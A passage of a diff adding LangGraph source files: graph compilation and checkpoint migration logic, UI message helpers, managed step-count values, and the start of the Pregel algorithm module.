+        builder: StateGraph[StateT, ContextT, InputT, OutputT],
+        schema_to_mapper: dict[type[Any], Callable[[Any], Any] | None],
+        **kwargs: Any,
+    ) -> None:
+        super().__init__(**kwargs)
+        self.builder = builder
+        self.schema_to_mapper = schema_to_mapper
+
+    def get_input_jsonschema(
+        self, config: RunnableConfig | None = None
+    ) -> dict[str, Any]:
+        return _get_json_schema(
+            typ=self.builder.input_schema,
+            schemas=self.builder.schemas,
+            channels=self.builder.channels,
+            name=self.get_name("Input"),
+        )
+
+    def get_output_jsonschema(
+        self, config: RunnableConfig | None = None
+    ) -> dict[str, Any]:
+        return _get_json_schema(
+            typ=self.builder.output_schema,
+            schemas=self.builder.schemas,
+            channels=self.builder.channels,
+            name=self.get_name("Output"),
+        )
+
+    def attach_node(self, key: str, node: StateNodeSpec[Any, ContextT] | None) -> None:
+        if key == START:
+            output_keys = [
+                k
+                for k, v in self.builder.schemas[self.builder.input_schema].items()
+                if not is_managed_value(v)
+            ]
+        else:
+            output_keys = list(self.builder.channels) + [
+                k for k, v in self.builder.managed.items()
+            ]
+
+        def _get_updates(
+            input: None | dict | Any,
+        ) -> Sequence[tuple[str, Any]] | None:
+            if input is None:
+                return None
+            elif isinstance(input, dict):
+                return [(k, v) for k, v in input.items() if k in output_keys]
+            elif isinstance(input, Command):
+                if input.graph == Command.PARENT:
+                    return None
+                return [
+                    (k, v) for k, v in input._update_as_tuples() if k in output_keys
+                ]
+            elif (
+                isinstance(input, (list, tuple))
+                and input
+                and any(isinstance(i, Command) for i in input)
+            ):
+                updates: list[tuple[str, Any]] = []
+                for i in input:
+                    if isinstance(i, Command):
+                        if i.graph == Command.PARENT:
+                            continue
+                        updates.extend(
+                            (k, v) for k, v in i._update_as_tuples() if k in output_keys
+                        )
+                    else:
+                        updates.extend(_get_updates(i) or ())
+                return updates
+            elif (t := type(input)) and get_cached_annotated_keys(t):
+                return get_update_as_tuples(input, output_keys)
+            else:
+                msg = create_error_message(
+                    message=f"Expected dict, got {input}",
+                    error_code=ErrorCode.INVALID_GRAPH_NODE_RETURN_VALUE,
+                )
+                raise InvalidUpdateError(msg)
+
+        # state updaters
+        write_entries: tuple[ChannelWriteEntry | ChannelWriteTupleEntry, ...] = (
+            ChannelWriteTupleEntry(
+                mapper=_get_root if output_keys == ["__root__"] else _get_updates
+            ),
+            ChannelWriteTupleEntry(
+                mapper=_control_branch,
+                static=_control_static(node.ends)
+                if node is not None and node.ends is not None
+                else None,
+            ),
+        )
+
+        # add node and output channel
+        if key == START:
+            self.nodes[key] = PregelNode(
+                tags=[TAG_HIDDEN],
+                triggers=[START],
+                channels=START,
+                writers=[ChannelWrite(write_entries)],
+            )
+        elif node is not None:
+            input_schema = node.input_schema if node else self.builder.state_schema
+            input_channels = list(self.builder.schemas[input_schema])
+            is_single_input = len(input_channels) == 1 and "__root__" in input_channels
+            if input_schema in self.schema_to_mapper:
+                mapper = self.schema_to_mapper[input_schema]
+            else:
+                mapper = _pick_mapper(input_channels, input_schema)
+                self.schema_to_mapper[input_schema] = mapper
+
+            branch_channel = _CHANNEL_BRANCH_TO.format(key)
+            self.channels[branch_channel] = (
+                LastValueAfterFinish(Any)
+                if node.defer
+                else EphemeralValue(Any, guard=False)
+            )
+            self.nodes[key] = PregelNode(
+                triggers=[branch_channel],
+                # read state keys and managed values
+                channels=("__root__" if is_single_input else input_channels),
+                # coerce state dict to schema class (eg. pydantic model)
+                mapper=mapper,
+                # publish to state keys
+                writers=[ChannelWrite(write_entries)],
+                metadata=node.metadata,
+                retry_policy=node.retry_policy,
+                cache_policy=node.cache_policy,
+                is_error_handler=node.is_error_handler,
+                error_handler_node=node.error_handler_node,
+                bound=node.runnable,  # type: ignore[arg-type]
+                timeout=node.timeout,
+            )
+        else:
+            raise RuntimeError
+
+    def attach_edge(self, starts: str | Sequence[str], end: str) -> None:
+        if isinstance(starts, str):
+            # subscribe to start channel
+            if end != END:
+                self.nodes[starts].writers.append(
+                    ChannelWrite(
+                        (ChannelWriteEntry(_CHANNEL_BRANCH_TO.format(end), None),)
+                    )
+                )
+        elif end != END:
+            channel_name = f"join:{'+'.join(starts)}:{end}"
+            # register channel
+            if self.builder.nodes[end].defer:
+                self.channels[channel_name] = NamedBarrierValueAfterFinish(
+                    str, set(starts)
+                )
+            else:
+                self.channels[channel_name] = NamedBarrierValue(str, set(starts))
+            # subscribe to channel
+            self.nodes[end].triggers.append(channel_name)
+            # publish to channel
+            for start in starts:
+                self.nodes[start].writers.append(
+                    ChannelWrite((ChannelWriteEntry(channel_name, start),))
+                )
+
+    def attach_branch(
+        self, start: str, name: str, branch: BranchSpec, *, with_reader: bool = True
+    ) -> None:
+        def get_writes(
+            packets: Sequence[str | Send], static: bool = False
+        ) -> Sequence[ChannelWriteEntry | Send]:
+            writes = [
+                (
+                    ChannelWriteEntry(
+                        p if p == END else _CHANNEL_BRANCH_TO.format(p), None
+                    )
+                    if not isinstance(p, Send)
+                    else p
+                )
+                for p in packets
+                if (True if static else p != END)
+            ]
+            if not writes:
+                return []
+            return writes
+
+        if with_reader:
+            # get schema
+            schema = branch.input_schema or (
+                self.builder.nodes[start].input_schema
+                if start in self.builder.nodes
+                else self.builder.state_schema
+            )
+            channels = list(self.builder.schemas[schema])
+            # get mapper
+            if schema in self.schema_to_mapper:
+                mapper = self.schema_to_mapper[schema]
+            else:
+                mapper = _pick_mapper(channels, schema)
+                self.schema_to_mapper[schema] = mapper
+            # create reader
+            reader: Callable[[RunnableConfig], Any] | None = partial(
+                ChannelRead.do_read,
+                select=channels[0] if channels == ["__root__"] else channels,
+                fresh=True,
+                # coerce state dict to schema class (eg. pydantic model)
+                mapper=mapper,
+            )
+        else:
+            reader = None
+
+        # attach branch publisher
+        self.nodes[start].writers.append(branch.run(get_writes, reader))
+
+    def _migrate_checkpoint(self, checkpoint: Checkpoint) -> None:
+        """Migrate a checkpoint to new channel layout."""
+        super()._migrate_checkpoint(checkpoint)
+
+        values = checkpoint["channel_values"]
+        versions = checkpoint["channel_versions"]
+        seen = checkpoint["versions_seen"]
+
+        # empty checkpoints do not need migration
+        if not versions:
+            return
+
+        # current version
+        if checkpoint["v"] >= 3:
+            return
+
+        # Migrate from start:node to branch:to:node
+        for k in list(versions):
+            if k.startswith("start:"):
+                # confirm node is present
+                node = k.split(":")[1]
+                if node not in self.nodes:
+                    continue
+                # get next version
+                new_k = f"branch:to:{node}"
+                new_v = (
+                    max(versions[new_k], versions.pop(k))
+                    if new_k in versions
+                    else versions.pop(k)
+                )
+                # update seen
+                for ss in (seen.get(node, {}), seen.get(INTERRUPT, {})):
+                    if k in ss:
+                        s = ss.pop(k)
+                        if new_k in ss:
+                            ss[new_k] = max(s, ss[new_k])
+                        else:
+                            ss[new_k] = s
+                # update value
+                if new_k not in values and k in values:
+                    values[new_k] = values.pop(k)
+                # update version
+                versions[new_k] = new_v
+
+        # Migrate from branch:source:condition:node to branch:to:node
+        for k in list(versions):
+            if k.startswith("branch:") and k.count(":") == 3:
+                # confirm node is present
+                node = k.split(":")[-1]
+                if node not in self.nodes:
+                    continue
+                # get next version
+                new_k = f"branch:to:{node}"
+                new_v = (
+                    max(versions[new_k], versions.pop(k))
+                    if new_k in versions
+                    else versions.pop(k)
+                )
+                # update seen
+                for ss in (seen.get(node, {}), seen.get(INTERRUPT, {})):
+                    if k in ss:
+                        s = ss.pop(k)
+                        if new_k in ss:
+                            ss[new_k] = max(s, ss[new_k])
+                        else:
+                            ss[new_k] = s
+                # update value
+                if new_k not in values and k in values:
+                    values[new_k] = values.pop(k)
+                # update version
+                versions[new_k] = new_v
+
+        if not set(self.nodes).isdisjoint(versions):
+            # Migrate from "node" to "branch:to:node"
+            source_to_target = defaultdict(list)
+            for start, end in self.builder.edges:
+                if start != START and end != END:
+                    source_to_target[start].append(end)
+            for k in list(versions):
+                if k == START:
+                    continue
+                if k in self.nodes:
+                    v = versions.pop(k)
+                    c = values.pop(k, MISSING)
+                    for end in source_to_target[k]:
+                        # get next version
+                        new_k = f"branch:to:{end}"
+                        new_v = max(versions[new_k], v) if new_k in versions else v
+                        # update seen
+                        for ss in (seen.get(end, {}), seen.get(INTERRUPT, {})):
+                            if k in ss:
+                                s = ss.pop(k)
+                                if new_k in ss:
+                                    ss[new_k] = max(s, ss[new_k])
+                                else:
+                                    ss[new_k] = s
+                        # update value
+                        if new_k not in values and c is not MISSING:
+                            values[new_k] = c
+                        # update version
+                        versions[new_k] = new_v
+                    # pop interrupt seen
+                    if INTERRUPT in seen:
+                        seen[INTERRUPT].pop(k, MISSING)
+
+
+def _pick_mapper(
+    state_keys: Sequence[str], schema: type[Any]
+) -> Callable[[Any], Any] | None:
+    if state_keys == ["__root__"]:
+        return None
+    if isclass(schema) and (issubclass(schema, BaseModel) or is_dataclass(schema)):
+        return partial(_coerce_state, schema)
+    return None
+
+
+_S = TypeVar("_S")
+
+
+def _coerce_state(schema: type[_S], input: dict[str, Any]) -> _S:
+    return schema(**input)
+
+
+def _control_branch(value: Any) -> Sequence[tuple[str, Any]]:
+    if isinstance(value, Send):
+        return ((TASKS, value),)
+    commands: list[Command] = []
+    if isinstance(value, Command):
+        commands.append(value)
+    elif isinstance(value, (list, tuple)):
+        for cmd in value:
+            if isinstance(cmd, Command):
+                commands.append(cmd)
+    rtn: list[tuple[str, Any]] = []
+    for command in commands:
+        if command.graph == Command.PARENT:
+            raise ParentCommand(command)
+
+        goto_targets = (
+            [command.goto] if isinstance(command.goto, (Send, str)) else command.goto
+        )
+
+        for go in goto_targets:
+            if isinstance(go, Send):
+                rtn.append((TASKS, go))
+            elif isinstance(go, str) and go != END:
+                # END is a special case, it's not actually a node in a practical sense
+                # but rather a special terminal node that we don't need to branch to
+                rtn.append((_CHANNEL_BRANCH_TO.format(go), None))
+    return rtn
+
+
+def _control_static(
+    ends: tuple[str, ...] | dict[str, str],
+) -> Sequence[tuple[str, Any, str | None]]:
+    if isinstance(ends, dict):
+        return [
+            (k if k == END else _CHANNEL_BRANCH_TO.format(k), None, label)
+            for k, label in ends.items()
+        ]
+    else:
+        return [
+            (e if e == END else _CHANNEL_BRANCH_TO.format(e), None, None) for e in ends
+        ]
+
+
+def _get_root(input: Any) -> Sequence[tuple[str, Any]] | None:
+    if isinstance(input, Command):
+        if input.graph == Command.PARENT:
+            return ()
+        return input._update_as_tuples()
+    elif (
+        isinstance(input, (list, tuple))
+        and input
+        and any(isinstance(i, Command) for i in input)
+    ):
+        updates: list[tuple[str, Any]] = []
+        for i in input:
+            if isinstance(i, Command):
+                if i.graph == Command.PARENT:
+                    continue
+                updates.extend(i._update_as_tuples())
+            else:
+                updates.append(("__root__", i))
+        return updates
+    elif input is not None:
+        return [("__root__", input)]
+
+
+def _get_channels(
+    schema: type[dict],
+) -> tuple[dict[str, BaseChannel], dict[str, ManagedValueSpec], dict[str, Any]]:
+    if not hasattr(schema, "__annotations__"):
+        return (
+            {"__root__": _get_channel("__root__", schema, allow_managed=False)},
+            {},
+            {},
+        )
+
+    type_hints = get_type_hints(schema, include_extras=True)
+    all_keys = {
+        name: _get_channel(name, typ)
+        for name, typ in type_hints.items()
+        if name != "__slots__"
+    }
+    return (
+        {k: v for k, v in all_keys.items() if isinstance(v, BaseChannel)},
+        {k: v for k, v in all_keys.items() if is_managed_value(v)},
+        type_hints,
+    )
+
+
+@overload
+def _get_channel(
+    name: str, annotation: Any, *, allow_managed: Literal[False]
+) -> BaseChannel: ...
+
+
+@overload
+def _get_channel(
+    name: str, annotation: Any, *, allow_managed: Literal[True] = True
+) -> BaseChannel | ManagedValueSpec: ...
+
+
+def _get_channel(
+    name: str, annotation: Any, *, allow_managed: bool = True
+) -> BaseChannel | ManagedValueSpec:
+    # Strip out Required and NotRequired wrappers
+    if hasattr(annotation, "__origin__") and annotation.__origin__ in (
+        Required,
+        NotRequired,
+    ):
+        annotation = annotation.__args__[0]
+    if manager := _is_field_managed_value(name, annotation):
+        if allow_managed:
+            return manager
+        else:
+            raise ValueError(f"This {annotation} not allowed in this position")
+    elif channel := _is_field_channel(annotation):
+        channel.key = name
+        return channel
+    elif channel := _is_field_binop(annotation):
+        channel.key = name
+        return channel
+
+    fallback: LastValue = LastValue(annotation)
+    fallback.key = name
+    return fallback
+
+
+def _is_field_channel(typ: type[Any]) -> BaseChannel | None:
+    if hasattr(typ, "__metadata__"):
+        meta = typ.__metadata__
+        # Search through all annotated medata to find channel annotations
+        for item in meta:
+            if isinstance(item, BaseChannel):
+                if isinstance(item, DeltaChannel) and hasattr(typ, "__origin__"):
+                    origin = typ.__origin__
+                    # Unwrap parameterized Required[X]/NotRequired[X] to X
+                    # (e.g. Annotated[NotRequired[dict[...]], ...]).
+                    if hasattr(origin, "__origin__") and origin.__origin__ in (
+                        Required,
+                        NotRequired,
+                    ):
+                        origin = origin.__args__[0]
+                    item = item.__class__(
+                        item.reducer,
+                        origin,
+                        snapshot_frequency=item.snapshot_frequency,
+                    )
+                return item
+            elif isclass(item) and issubclass(item, BaseChannel):
+                # ex, Annotated[int, EphemeralValue, SomeOtherAnnotation]
+                # would return EphemeralValue(int)
+                return item(typ.__origin__ if hasattr(typ, "__origin__") else typ)
+    return None
+
+
+def _is_field_binop(typ: type[Any]) -> BinaryOperatorAggregate | None:
+    if hasattr(typ, "__metadata__"):
+        meta = typ.__metadata__
+        if len(meta) >= 1 and callable(meta[-1]):
+            sig = signature(meta[-1])
+            params = list(sig.parameters.values())
+            if (
+                sum(
+                    p.kind in (p.POSITIONAL_ONLY, p.POSITIONAL_OR_KEYWORD)
+                    for p in params
+                )
+                == 2
+            ):
+                return BinaryOperatorAggregate(typ, meta[-1])
+            else:
+                raise ValueError(
+                    f"Invalid reducer signature. Expected (a, b) -> c. Got {sig}"
+                )
+    return None
+
+
+def _is_field_managed_value(name: str, typ: type[Any]) -> ManagedValueSpec | None:
+    if hasattr(typ, "__metadata__"):
+        meta = typ.__metadata__
+        if len(meta) >= 1:
+            decoration = get_origin(meta[-1]) or meta[-1]
+            if is_managed_value(decoration):
+                return decoration
+
+    # Handle Required, NotRequired, etc wrapped types by extracting the inner type
+    if (
+        get_origin(typ) is not None
+        and (args := get_args(typ))
+        and (inner_type := args[0])
+    ):
+        return _is_field_managed_value(name, inner_type)
+
+    return None
+
+
+def _get_json_schema(
+    typ: type,
+    schemas: dict,
+    channels: dict,
+    name: str,
+) -> dict[str, Any]:
+    if isclass(typ) and issubclass(typ, BaseModel):
+        return typ.model_json_schema()
+    elif is_typeddict(typ):
+        return TypeAdapter(typ).json_schema()
+    else:
+        keys = list(schemas[typ].keys())
+        if len(keys) == 1 and keys[0] == "__root__":
+            return create_model(
+                name,
+                root=(channels[keys[0]].UpdateType, None),
+            ).model_json_schema()
+        else:
+            return create_model(
+                name,
+                field_definitions={
+                    k: (
+                        channels[k].UpdateType,
+                        (
+                            get_field_default(
+                                k,
+                                channels[k].UpdateType,
+                                typ,
+                            )
+                        ),
+                    )
+                    for k in schemas[typ]
+                    if k in channels and isinstance(channels[k], BaseChannel)
+                },
+            ).model_json_schema()
diff --git a/libs/langgraph/langgraph/graph/ui.py b/libs/langgraph/langgraph/graph/ui.py
new file mode 100644
index 0000000..847b2c7
--- /dev/null
+++ b/libs/langgraph/langgraph/graph/ui.py
@@ -0,0 +1,227 @@
+from __future__ import annotations
+
+from typing import Any, Literal, cast
+from uuid import uuid4
+
+from langchain_core.messages import AnyMessage
+from typing_extensions import TypedDict
+
+from langgraph.config import get_config, get_stream_writer
+from langgraph.constants import CONF
+
+__all__ = (
+    "UIMessage",
+    "RemoveUIMessage",
+    "AnyUIMessage",
+    "push_ui_message",
+    "delete_ui_message",
+    "ui_message_reducer",
+)
+
+
+class UIMessage(TypedDict):
+    """A message type for UI updates in LangGraph.
+
+    This TypedDict represents a UI message that can be sent to update the UI state.
+    It contains information about the UI component to render and its properties.
+
+    Attributes:
+        type: Literal type indicating this is a UI message.
+        id: Unique identifier for the UI message.
+        name: Name of the UI component to render.
+        props: Properties to pass to the UI component.
+        metadata: Additional metadata about the UI message.
+    """
+
+    type: Literal["ui"]
+    id: str
+    name: str
+    props: dict[str, Any]
+    metadata: dict[str, Any]
+
+
+class RemoveUIMessage(TypedDict):
+    """A message type for removing UI components in LangGraph.
+
+    This TypedDict represents a message that can be sent to remove a UI component
+    from the current state.
+
+    Attributes:
+        type: Literal type indicating this is a remove-ui message.
+        id: Unique identifier of the UI message to remove.
+    """
+
+    type: Literal["remove-ui"]
+    id: str
+
+
+AnyUIMessage = UIMessage | RemoveUIMessage
+
+
+def push_ui_message(
+    name: str,
+    props: dict[str, Any],
+    *,
+    id: str | None = None,
+    metadata: dict[str, Any] | None = None,
+    message: AnyMessage | None = None,
+    state_key: str | None = "ui",
+    merge: bool = False,
+) -> UIMessage:
+    """Push a new UI message to update the UI state.
+
+    This function creates and sends a UI message that will be rendered in the UI.
+    It also updates the graph state with the new UI message.
+
+    Args:
+        name: Name of the UI component to render.
+        props: Properties to pass to the UI component.
+        id: Optional unique identifier for the UI message.
+            If not provided, a random UUID will be generated.
+        metadata: Optional additional metadata about the UI message.
+        message: Optional message object to associate with the UI message.
+        state_key: Key in the graph state where the UI messages are stored.
+        merge: Whether to merge props with existing UI message (True) or replace
+            them (False).
+
+    Returns:
+        The created UI message.
+
+    Example:
+        ```python
+        push_ui_message(
+            name="component-name",
+            props={"content": "Hello world"},
+        )
+        ```
+
+    """
+    from langgraph._internal._constants import CONFIG_KEY_SEND
+
+    writer = get_stream_writer()
+    config = get_config()
+
+    message_id = None
+    if message:
+        if isinstance(message, dict) and "id" in message:
+            message_id = message.get("id")
+        elif hasattr(message, "id"):
+            message_id = message.id
+
+    evt: UIMessage = {
+        "type": "ui",
+        "id": id or str(uuid4()),
+        "name": name,
+        "props": props,
+        "metadata": {
+            "merge": merge,
+            "run_id": config.get("run_id", None),
+            "tags": config.get("tags", None),
+            "name": config.get("run_name", None),
+            **(metadata or {}),
+            **({"message_id": message_id} if message_id else {}),
+        },
+    }
+
+    writer(evt)
+    if state_key:
+        config[CONF][CONFIG_KEY_SEND]([(state_key, evt)])
+
+    return evt
+
+
+def delete_ui_message(id: str, *, state_key: str = "ui") -> RemoveUIMessage:
+    """Delete a UI message by ID from the UI state.
+
+    This function creates and sends a message to remove a UI component from the current state.
+    It also updates the graph state to remove the UI message.
+
+    Args:
+        id: Unique identifier of the UI component to remove.
+        state_key: Key in the graph state where the UI messages are stored. Defaults to "ui".
+
+    Returns:
+        The remove UI message.
+
+    Example:
+        ```python
+        delete_ui_message("message-123")
+        ```
+
+    """
+    from langgraph._internal._constants import CONFIG_KEY_SEND
+
+    writer = get_stream_writer()
+    config = get_config()
+
+    evt: RemoveUIMessage = {"type": "remove-ui", "id": id}
+
+    writer(evt)
+    config[CONF][CONFIG_KEY_SEND]([(state_key, evt)])
+
+    return evt
+
+
+def ui_message_reducer(
+    left: list[AnyUIMessage] | AnyUIMessage,
+    right: list[AnyUIMessage] | AnyUIMessage,
+) -> list[AnyUIMessage]:
+    """Merge two lists of UI messages, supporting removing UI messages.
+
+    This function combines two lists of UI messages, handling both regular UI messages
+    and `remove-ui` messages. When a `remove-ui` message is encountered, it removes any
+    UI message with the matching ID from the current state.
+
+    Args:
+        left: First list of UI messages or single UI message.
+        right: Second list of UI messages or single UI message.
+
+    Returns:
+        Combined list of UI messages with removals applied.
+
+    Example:
+        ```python
+        messages = ui_message_reducer(
+            [{"type": "ui", "id": "1", "name": "Chat", "props": {}}],
+            {"type": "remove-ui", "id": "1"},
+        )
+        ```
+
+    """
+    if not isinstance(left, list):
+        left = [left]
+
+    if not isinstance(right, list):
+        right = [right]
+
+    # merge messages
+    merged = left.copy()
+    merged_by_id = {m.get("id"): i for i, m in enumerate(merged)}
+    ids_to_remove = set()
+
+    for msg in right:
+        msg_id = msg.get("id")
+
+        if (existing_idx := merged_by_id.get(msg_id)) is not None:
+            if msg.get("type") == "remove-ui":
+                ids_to_remove.add(msg_id)
+            else:
+                ids_to_remove.discard(msg_id)
+
+                if cast(UIMessage, msg).get("metadata", {}).get("merge", False):
+                    prev_msg = merged[existing_idx]
+                    msg = msg.copy()
+                    msg["props"] = {**prev_msg["props"], **msg["props"]}
+
+                merged[existing_idx] = msg
+        else:
+            if msg.get("type") == "remove-ui":
+                raise ValueError(
+                    f"Attempting to delete an UI message with an ID that doesn't exist ('{msg_id}')"
+                )
+
+            merged_by_id[msg_id] = len(merged)
+            merged.append(msg)
+
+    merged = [m for m in merged if m.get("id") not in ids_to_remove]
+    return merged
diff --git a/libs/langgraph/langgraph/managed/__init__.py b/libs/langgraph/langgraph/managed/__init__.py
new file mode 100644
index 0000000..2d50f32
--- /dev/null
+++ b/libs/langgraph/langgraph/managed/__init__.py
@@ -0,0 +1,3 @@
+from langgraph.managed.is_last_step import IsLastStep, RemainingSteps
+
+__all__ = ("IsLastStep", "RemainingSteps")
diff --git a/libs/langgraph/langgraph/managed/base.py b/libs/langgraph/langgraph/managed/base.py
new file mode 100644
index 0000000..7205967
--- /dev/null
+++ b/libs/langgraph/langgraph/managed/base.py
@@ -0,0 +1,31 @@
+from abc import ABC, abstractmethod
+from inspect import isclass
+from typing import (
+    Any,
+    Generic,
+    TypeGuard,
+    TypeVar,
+)
+
+from langgraph._internal._scratchpad import PregelScratchpad
+
+V = TypeVar("V")
+U = TypeVar("U")
+
+__all__ = ("ManagedValueSpec", "ManagedValueMapping")
+
+
+class ManagedValue(ABC, Generic[V]):
+    @staticmethod
+    @abstractmethod
+    def get(scratchpad: PregelScratchpad) -> V: ...
+
+
+ManagedValueSpec = type[ManagedValue]
+
+
+def is_managed_value(value: Any) -> TypeGuard[ManagedValueSpec]:
+    return isclass(value) and issubclass(value, ManagedValue)
+
+
+ManagedValueMapping = dict[str, ManagedValueSpec]
diff --git a/libs/langgraph/langgraph/managed/is_last_step.py b/libs/langgraph/langgraph/managed/is_last_step.py
new file mode 100644
index 0000000..e53058d
--- /dev/null
+++ b/libs/langgraph/langgraph/managed/is_last_step.py
@@ -0,0 +1,24 @@
+from typing import Annotated
+
+from langgraph._internal._scratchpad import PregelScratchpad
+from langgraph.managed.base import ManagedValue
+
+__all__ = ("IsLastStep", "RemainingStepsManager")
+
+
+class IsLastStepManager(ManagedValue[bool]):
+    @staticmethod
+    def get(scratchpad: PregelScratchpad) -> bool:
+        return scratchpad.step == scratchpad.stop - 1
+
+
+IsLastStep = Annotated[bool, IsLastStepManager]
+
+
+class RemainingStepsManager(ManagedValue[int]):
+    @staticmethod
+    def get(scratchpad: PregelScratchpad) -> int:
+        return scratchpad.stop - scratchpad.step
+
+
+RemainingSteps = Annotated[int, RemainingStepsManager]
diff --git a/libs/langgraph/langgraph/pregel/__init__.py b/libs/langgraph/langgraph/pregel/__init__.py
new file mode 100644
index 0000000..90eb44b
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/__init__.py
@@ -0,0 +1,3 @@
+from langgraph.pregel.main import NodeBuilder, Pregel
+
+__all__ = ("Pregel", "NodeBuilder")
diff --git a/libs/langgraph/langgraph/pregel/_algo.py b/libs/langgraph/langgraph/pregel/_algo.py
new file mode 100644
index 0000000..103f6cc
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/_algo.py
@@ -0,0 +1,1460 @@
+from __future__ import annotations
+
+import binascii
+import itertools
+import sys
+import threading
+from collections import defaultdict, deque
+from collections.abc import Callable, Iterable, Mapping, Sequence
+from copy import copy
+from functools import partial
+from hashlib import sha1
+from typing import (
+    Any,
+    Literal,
+    NamedTuple,
+    Protocol,
+    cast,
+    overload,
+)
+
+from langchain_core.callbacks import Callbacks
+from langchain_core.callbacks.manager import AsyncParentRunManager, ParentRunManager
+from langchain_core.runnables.config import RunnableConfig
+from langgraph.checkpoint.base import (
+    BaseCheckpointSaver,
+    ChannelVersions,
+    Checkpoint,
+    PendingWrite,
+    V,
+)
+from langgraph.store.base import BaseStore
+from xxhash import xxh3_128_hexdigest
+
+from langgraph._internal._config import merge_configs, patch_config
+from langgraph._internal._constants import (
+    CACHE_NS_WRITES,
+    CONF,
+    CONFIG_KEY_CHECKPOINT_ID,
+    CONFIG_KEY_CHECKPOINT_MAP,
+    CONFIG_KEY_CHECKPOINT_NS,
+    CONFIG_KEY_CHECKPOINTER,
+    CONFIG_KEY_NODE_ERROR,
+    CONFIG_KEY_READ,
+    CONFIG_KEY_RESUME_MAP,
+    CONFIG_KEY_RUNTIME,
+    CONFIG_KEY_SCRATCHPAD,
+    CONFIG_KEY_SEND,
+    CONFIG_KEY_TASK_ID,
+    CONFIG_KEY_THREAD_ID,
+    ERROR,
+    ERROR_SOURCE_NODE,
+    INTERRUPT,
+    NO_WRITES,
+    NS_END,
+    NS_SEP,
+    NULL_TASK_ID,
+    PREVIOUS,
+    PULL,
+    PUSH,
+    RESERVED,
+    RESUME,
+    RETURN,
+    TASKS,
+)
+from langgraph._internal._scratchpad import PregelScratchpad
+from langgraph._internal._typing import EMPTY_SEQ, MISSING
+from langgraph.channels.base import BaseChannel
+from langgraph.channels.topic import Topic
+from langgraph.channels.untracked_value import UntrackedValue
+from langgraph.constants import TAG_HIDDEN
+from langgraph.errors import NodeError
+from langgraph.managed.base import ManagedValueMapping
+from langgraph.pregel._call import get_runnable_for_task, identifier
+from langgraph.pregel._io import read_channels
+from langgraph.pregel._log import logger
+from langgraph.pregel._read import INPUT_CACHE_KEY_TYPE, PregelNode
+from langgraph.runtime import DEFAULT_RUNTIME, ExecutionInfo, Runtime
+from langgraph.types import (
+    All,
+    CacheKey,
+    CachePolicy,
+    PregelExecutableTask,
+    PregelTask,
+    RetryPolicy,
+    Send,
+    TimeoutPolicy,
+)
+
+GetNextVersion = Callable[[V | None, None], V]
+SUPPORTS_EXC_NOTES = sys.version_info >= (3, 11)
+
+
+class WritesProtocol(Protocol):
+    """Protocol for objects containing writes to be applied to checkpoint.
+    Implemented by PregelTaskWrites and PregelExecutableTask."""
+
+    @property
+    def path(self) -> tuple[str | int | tuple, ...]: ...
+
+    @property
+    def name(self) -> str: ...
+
+    @property
+    def writes(self) -> Sequence[tuple[str, Any]]: ...
+
+    @property
+    def triggers(self) -> Sequence[str]: ...
+
+
+class PregelTaskWrites(NamedTuple):
+    """Simplest implementation of WritesProtocol, for usage with writes that
+    don't originate from a runnable task, eg. graph input, update_state, etc."""
+
+    path: tuple[str | int | tuple, ...]
+    name: str
+    writes: Sequence[tuple[str, Any]]
+    triggers: Sequence[str]
+
+
+class Call:
+    __slots__ = (
+        "func",
+        "input",
+        "retry_policy",
+        "cache_policy",
+        "callbacks",
+        "timeout",
+    )
+
+    func: Callable
+    input: tuple[tuple[Any, ...], dict[str, Any]]
+    retry_policy: Sequence[RetryPolicy] | None
+    cache_policy: CachePolicy | None
+    callbacks: Callbacks
+    timeout: TimeoutPolicy | None
+
+    def __init__(
+        self,
+        func: Callable,
+        input: tuple[tuple[Any, ...], dict[str, Any]],
+        *,
+        retry_policy: Sequence[RetryPolicy] | None,
+        cache_policy: CachePolicy | None,
+        callbacks: Callbacks,
+        timeout: TimeoutPolicy | None = None,
+    ) -> None:
+        self.func = func
+        self.input = input
+        self.retry_policy = retry_policy
+        self.cache_policy = cache_policy
+        self.callbacks = callbacks
+        self.timeout = timeout
+
+
+def should_interrupt(
+    checkpoint: Checkpoint,
+    interrupt_nodes: All | Sequence[str],
+    tasks: Iterable[PregelExecutableTask],
+) -> list[PregelExecutableTask]:
+    """Check if the graph should be interrupted based on current state."""
+    version_type = type(next(iter(checkpoint["channel_versions"].values()), None))
+    null_version = version_type()  # type: ignore[misc]
+    seen = checkpoint["versions_seen"].get(INTERRUPT, {})
+    # interrupt if any channel has been updated since last interrupt
+    any_updates_since_prev_interrupt = any(
+        version > seen.get(chan, null_version)  # type: ignore[operator]
+        for chan, version in checkpoint["channel_versions"].items()
+    )
+    # and any triggered node is in interrupt_nodes list
+    return (
+        [
+            task
+            for task in tasks
+            if (
+                (
+                    not task.config
+                    or TAG_HIDDEN not in task.config.get("tags", EMPTY_SEQ)
+                )
+                if interrupt_nodes == "*"
+                else task.name in interrupt_nodes
+            )
+        ]
+        if any_updates_since_prev_interrupt
+        else []
+    )
+
+
+def local_read(
+    scratchpad: PregelScratchpad,
+    channels: Mapping[str, BaseChannel],
+    managed: ManagedValueMapping,
+    task: WritesProtocol,
+    select: list[str] | str,
+    fresh: bool = False,
+) -> dict[str, Any] | Any:
+    """Function injected under CONFIG_KEY_READ in task config, to read current state.
+    Used by conditional edges to read a copy of the state with reflecting the writes
+    from that node only."""
+    updated: dict[str, list[Any]] = defaultdict(list)
+    if isinstance(select, str):
+        managed_keys = []
+        for c, v in task.writes:
+            if c == select:
+                updated[c].append(v)
+    else:
+        managed_keys = [k for k in select if k in managed]
+        select = [k for k in select if k not in managed]
+        for c, v in task.writes:
+            if c in select:
+                updated[c].append(v)
+    if fresh:
+        # apply writes
+        local_channels: dict[str, BaseChannel] = {}
+        for k in channels:
+            cc = channels[k].copy()
+            cc.update(updated[k])
+            local_channels[k] = cc
+        # read fresh values
+        values = read_channels(local_channels, select)
+    else:
+        values = read_channels(channels, select)
+    if managed_keys:
+        values.update({k: managed[k].get(scratchpad) for k in managed_keys})
+    return values
+
+
+def increment(current: int | None, channel: None) -> int:
+    """Default channel versioning function, increments the current int version."""
+    return current + 1 if current is not None else 1
+
+
+def apply_writes(
+    checkpoint: Checkpoint,
+    channels: Mapping[str, BaseChannel],
+    tasks: Iterable[WritesProtocol],
+    get_next_version: GetNextVersion | None,
+    trigger_to_nodes: Mapping[str, Sequence[str]],
+) -> set[str]:
+    """Apply writes from a set of tasks (usually the tasks from a Pregel step)
+    to the checkpoint and channels, and return managed values writes to be applied
+    externally.
+
+    Args:
